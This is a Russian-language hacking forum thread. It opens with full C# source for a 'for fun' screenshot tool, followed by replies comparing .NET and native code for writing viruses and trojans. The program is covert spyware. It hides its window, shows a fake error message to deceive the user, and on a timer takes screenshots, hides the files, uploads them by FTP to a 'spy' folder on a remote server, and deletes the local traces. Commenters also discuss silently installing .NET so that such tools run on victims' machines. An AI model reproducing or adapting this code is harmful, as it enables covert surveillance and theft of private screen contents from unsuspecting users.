Привет, Хотел представить вашему вниманию написанную мной забавы ради программу, делающею скриншоты и загружающею их на фтп. Программа не имеет автозагрузки, т.е. работает до момента выключения компьютера или закрытия её из окна системных процессов. К формочке добавьте таймер, не забудьте его включить и установите интервал, с каким вы хотите делать скриншоты. Code: namespace screener { public partial class Form1 : Form { public Form1() { InitializeComponent(); } string name; public Bitmap ScreenShot() /////// Функция снятия скриншота. { Bitmap screenShotBMP = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb); Graphics screenShotGraphics = Graphics.FromImage(screenShotBMP); screenShotGraphics.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy); screenShotGraphics.Dispose(); return screenShotBMP; } ///// при загрузке показываем сообщение о глюке и делаем первый скриншот. private void Form1_Load(object sender, EventArgs e) { bool FirstRun; Mutex mutex = new Mutex(false, "Local\\553115", out FirstRun); if (FirstRun != true) { MessageBox.Show("System.Core.Windows.Vista not found", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); this.Close(); ///// Если программа уже работает, а пользователь запускает её еще раз, то новую закрываем. } this.WindowState = FormWindowState.Minimized; this.ShowInTaskbar = false; MessageBox.Show("System.Core.Windows.Vista not found","Error", MessageBoxButtons.OK , MessageBoxIcon.Error ); capture(); } /////// функция закачки полученного скриншота на сервер. public void ftpfile(string ftpfilepath, string inputfilepath) { string ftphost = "MYFTP.com"; string ftpfullpath = "ftp://" + ftphost + "/public_html/spy/" + ftpfilepath; FtpWebRequest ftp = (FtpWebRequest)FtpWebRequest.Create(ftpfullpath); ftp.Credentials = new NetworkCredential("FTP_USERNAME", "FTP_PASSWORD"); ftp.KeepAlive = true; ftp.UseBinary = true; ftp.Method = WebRequestMethods.Ftp.UploadFile; FileStream fs = File.OpenRead(inputfilepath); byte[] buffer = new byte[fs.Length]; fs.Read(buffer, 0, buffer.Length); fs.Close(); Stream ftpstream = ftp.GetRequestStream(); ftpstream.Write(buffer, 0, buffer.Length); ftpstream.Close(); } public void capture() ///////////// делаем скриншот, сохраняем его, прячем, загружаем, стираем. { this.Hide(); Image img = ScreenShot(); name = "" + DateTime.Now.ToString("dd_MM_yyyy_HH_mm_ss") + ".jpg"; img.Save(name, System.Drawing.Imaging.ImageFormat.Jpeg); File.SetAttributes(name, FileAttributes.Hidden); ftpfile(name, name); File.Delete(name); } //////////// при срабатывании таймера, делаем скриншот. private void timer1_Tick(object sender, EventArgs e) { capture(); } } }
C++ , к сожалению, не владею. Тем более, мне кажется, в инете был какой-то зверь, с чей помощью можно фреймворковский .exe превратить в нативный .exe, т.е. впихать в него все необходимые либы, чтоб он запустился даже на самой старой машине, без .net-а.
Вы не подумали какой на выходе будет размер? Думаю можно тогда сделай "скрытую установку .NET" . Тут уже кто-то предлагал в ответ на запуск скрытого ИЕ запускать скрытую VS2010. Почему бы не происталить .NET?
Я об этом с год назад читал, так что могу ошибаться, но вроде при помощи spoon.net конечные проги не должны весить больше пары метров.
А еще лучше: Скрытая установка FreeBSD, и по вебке палить где юзер. Как только отошел, сразу формат C:\\ и загрузка фряхи! И что бы этот вирус весил не более 2-3 мб . А по теме, у мну авторизация тоже идет 2-3 строки кода, если предварительно взять уже готовый класс, или полу-готовый.
Не больше пары метров... - хyйня то какая.... Помоему в скором будущем вирусы начнут писать на C#, Java, python... к этому все и идет.
De-visible ***ня ***ней, а у меня серьезные сетевые приложения умещаются в 500кб а всякие спамеры, чекеры с интерфейсом и кучей плюшек в 50 кб В прогу размером 8кб можно поместить полноценный сетевой клиент или снифер Просто есть 2 разницы... когда стараешься писать небольшую по размерам, но функциональную прогу ты задумываешься не только о количестве использованных переменных и сколько они займут в памяти, а еще над тем как оптимизировать выполнение. в результате получается быстрая прога с минимум кода, которая дает фору метровым мутантам с замысловатыми фреймворками для копирования строки в строку
Скорее всего маленький размер прог это уже не актуально, т.к. скорости сейчас не малые пс наверное уже сейчас мало кто помнит про диал ап=)
Gar|k Ну, имхо приоритеты в разработке зависят задачи... То есть, для системного ПО и игр и вообще любого "тяжелого" софта производительность и требовательность к ресурсам конечного продукта несомненно являются важнейшими приоритетами. Но, для большинства прикладных задач(в коммерческой разработке) скорость работы программы отходит на второй план а основными приоритетами становятся скорость разработки, читаемость кода, легкость в поддержке и модификации и т.п. Тут все больше правят бал как раз-таки явочка и сишарп, языки в которых повторное использование кода - одна из основных концепций, и написание велосипедов считается скорее моветоном. Также, склонность к оптимизации всего подряд пришла из тех пор, когда компьютеры были медленными, памяти постоянно не хватало и т.д., в общем из прошлого века. И в настоящее время террабайтовых хардов и многоядерных процессоров мне иногда становится забавно наблюдать за программистом тратящим свое дорогое кодерское время на то чтобы уменьшить размер exe на 20 кб. Извините, но это похоже на задротство. Насчет надежности не совсем понятна логика. Крупные фрэймворки/либы пишутся как правило специалистами, они давно протестированы и отлажены. Количество собственного кода программиста уменьшается, и при одинаковой плотности багов/строку кода общее их количество также уменьшается. Сама плотность багов на строку кода зависит только лишь от скиллов кодера. В общем, я сомневаюсь что проект на C# и фрэймворках в 10к строк будет менее надежен чем например аналогичный по функционалу проект в 50к строк на Си и без фрэймворков, только вот его будет проще поддерживать. Но опять же повторюсь все зависит от задач. Вообще, это конечно все имхо.
GhostOnline, после поста я хотел тыкнуть кнопарь edit и дописать что несомненно в прикладных развиваемых проектах ООП проявляет себя только с лучшей стороны, но мне было лень. Мои слова относятся в большей степени к системному ПО, но и в обычных проектах где присутствуют вычисления с большим количеством повторений, стоит задумываться об оптимизации. Примером может послужить например распознавание образов и прочие интересные штуки завязанные с математическими вычислениями
Сетевые приложения и трояны/спам боты/боты/вирусы разные вещи. Для скрытной работы, использовать зависимые яп не имеет смысла, по крайней мере в данный момент, в будущем я думаю так и будет, но сейчас это до сих пор не актуально. Есть C есть C++, есть asm, помоему этого вполне достаточно, и не стоит придумывать велосипедов. По вашим рассуждениям вирь можно реализовать и на python + py2exe/pyInstall, - в пару строк кода можно уместить большие возможности размер будет под несколько метров, но ведь у нас теперь быстрый интернет и на это можно не обращать внимания. Нет парни это глупость, это ИМХО.
Говоря о размерах, у меня написанное в C# сетевое приложение + библиотеки и иконки, превращенное в один нативный exe файл весит 0.9 мб. По моему для нынешних скоростей и объёмов размер более чем приемлемый.
Не согласен, что размер не важен. Есть машины старые и вес на винте навес золота. Да и фрейморк уже на них не станет.